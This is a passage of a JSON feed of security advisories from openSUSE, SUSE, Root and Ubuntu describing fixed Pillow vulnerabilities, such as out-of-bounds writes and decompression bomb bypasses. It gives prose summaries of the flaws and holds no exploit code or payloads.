images\nOut-of-bounds (OOB) write from large RankFilter sizes\nOut-of-bounds (OOB) write from Image.paste()\nOut-of-bounds (OOB) write in ImageCmsTransform\nPrevent FontFile decompression bomb\nPrevent GD decompression bomb\n","status":"published","published":"2026-10-01T00:08:51Z","modified":"2026-10-01T00:27:45.940050235Z","updated_at":"2026-11-02T15:49:43.795591Z"},{"id":"openSUSE-SU-2026:11261-1","title":"python313-Pillow-12.3.0-1.1 on GA media","description":"These are all security issues fixed in the python313-Pillow-12.3.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-12T00:00:00Z","modified":"2026-07-13T09:00:11.048299149Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21296-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-42311: malicious PSD file processing can lead to arbitrary code execution (bsc#1270404).\n- CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).\n- CVE-2026-54060: fonts can trigger excessive memory allocation during conversion or saving (bsc#1270410).\n- CVE-2026-55379: bypass of decompression bomb protection allows excessive memory allocation (bsc#1270411).\n- CVE-2026-55380: crafted `.gd` file can trigger excessive C-heap allocation when loaded (bsc#1270412).\n","status":"published","published":"2026-07-10T09:38:55Z","modified":"2026-07-13T18:24:58.497986827Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-54059","title":"CVE-2026-54059 in pillow - Patched by Root","description":"Root has patched CVE-2026-54059 in the pillow package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-11-06T10:13:42Z","modified":"2026-11-06T11:15:04.349986625Z","updated_at":"2026-11-06T11:42:45.055937Z"},{"id":"SUSE-SU-2026:22626-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-42311: malicious PSD file processing can lead to arbitrary code execution (bsc#1270404).\n- CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).\n- CVE-2026-54060: fonts can trigger excessive memory allocation during conversion or saving (bsc#1270410).\n- CVE-2026-55379: bypass of decompression bomb protection allows excessive memory allocation (bsc#1270411).\n- CVE-2026-55380: crafted `.gd` file can trigger excessive C-heap allocation when loaded (bsc#1270412).\n","status":"published","published":"2026-07-10T09:37:56Z","modified":"2026-07-17T18:24:03.793795287Z","updated_at":"2026-11-02T15:54:03.080707Z"},{"id":"SUSE-SU-2026:2875-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).\n- CVE-2026-54060: a font can trigger excessive allocation during conversion or saving (bsc#1270410).\n- CVE-2026-55379: bypass of decompression bomb protection, allowing excessive memory allocation (bsc#1270411).\n- CVE-2026-55380: crafted .gd file can trigger excessive C-heap allocation when loaded (bsc#1270412).\n","status":"published","published":"2026-07-13T09:12:43Z","modified":"2026-07-14T09:15:04.980591617Z","updated_at":"2026-11-02T15:54:04.987808Z"},{"id":"SUSE-SU-2026:3268-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues:\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-54059: bomb protection bypass via PCF font loading due to `Image.frombytes()` being called without\n  `_decompression_bomb_check()` (bsc#1270409).\n- CVE-2026-54060: excessive allocation due to `FontFile.compile()`: `Image.new()` being called without\n  `_decompression_bomb_check()` (bsc#1270410).\n- CVE-2026-55379: bomb protection bypass via font loading due to `Image.new()` being called without\n  `_decompression_bomb_check()` (bsc#1270411).\n- CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without\n  `_decompression_bomb_check()` in `GdImageFile._open()` (bsc#1270412).  \n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-07-27T10:59:25Z","modified":"2026-07-28T10:00:08.428650372Z","updated_at":"2026-11-02T15:54:04.987808Z"},{"id":"USN-8999-1","title":"pillow vulnerabilities","description":"It was discovered that Pillow incorrectly handled map stride values\nwhen loading certain McIdas AREA images. An attacker could possibly\nuse this issue to obtain sensitive information or cause a denial of\nservice. (CVE-2026-54058)\n\nIt was discovered that Pillow did not properly check for decompression\nbombs when processing font files. An attacker could possibly use this\nissue to cause Pillow to consume excessive memory, resulting in a\ndenial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)\n\nIt was discovered that Pillow did not properly check for decompression\nbombs when loading GD image files. An attacker could possibly use this\nissue to cause Pillow to consume excessive memory, resulting in a\ndenial of service. (CVE-2026-55380)\n\nIt was discovered that Pillow incorrectly validated filter sizes in\nthe rank filter implementation. An attacker could possibly use this\nissue to cause Pillow to crash or execute arbitrary code.\n(CVE-2026-59197)\n\nIt was discovered that Pillow incorrectly handled image coordinate\ncalculations. An attacker could possibly use this issue to cause\nPillow to crash. (CVE-2026-59199)\n\nIt was discovered that Pillow did not properly limit the size of\ndecompressed PDF stream data. An attacker could possibly use this\nissue to cause Pillow to consume excessive memory, resulting in a\ndenial of service. (CVE-2026-59200)\n\nIt was discovered that Pillow incorrectly parsed EPS files containing\na negative byte count in the BeginBinary directive. An attacker could\npossibly use this issue to cause Pillow to hang, resulting in a denial\nof service. This issue only affected Ubuntu 26.04 LTS.\n(CVE-2026-59203)\n\nIt was discovered that Pillow incorrectly accumulated JPEG2000 tile\ncomponent widths. An attacker could possibly use this issue to cause\nPillow to consume excessive memory, resulting in a denial of service.\n(CVE-2026-59204)\n\nIt was discovered that Pillow incorrectly validated image mode\ncompatibility in color management transforms. An attacker could\npossibly use this issue to cause Pillow to crash or execute arbitrary\ncode. (CVE-2026-59205)","status":"published","published":"2026-11-04T15:49:54Z","modified":"2026-11-05T11:58:21.097270279Z","updated_at":"2026-11-05T13:30:00.949926Z"}]}}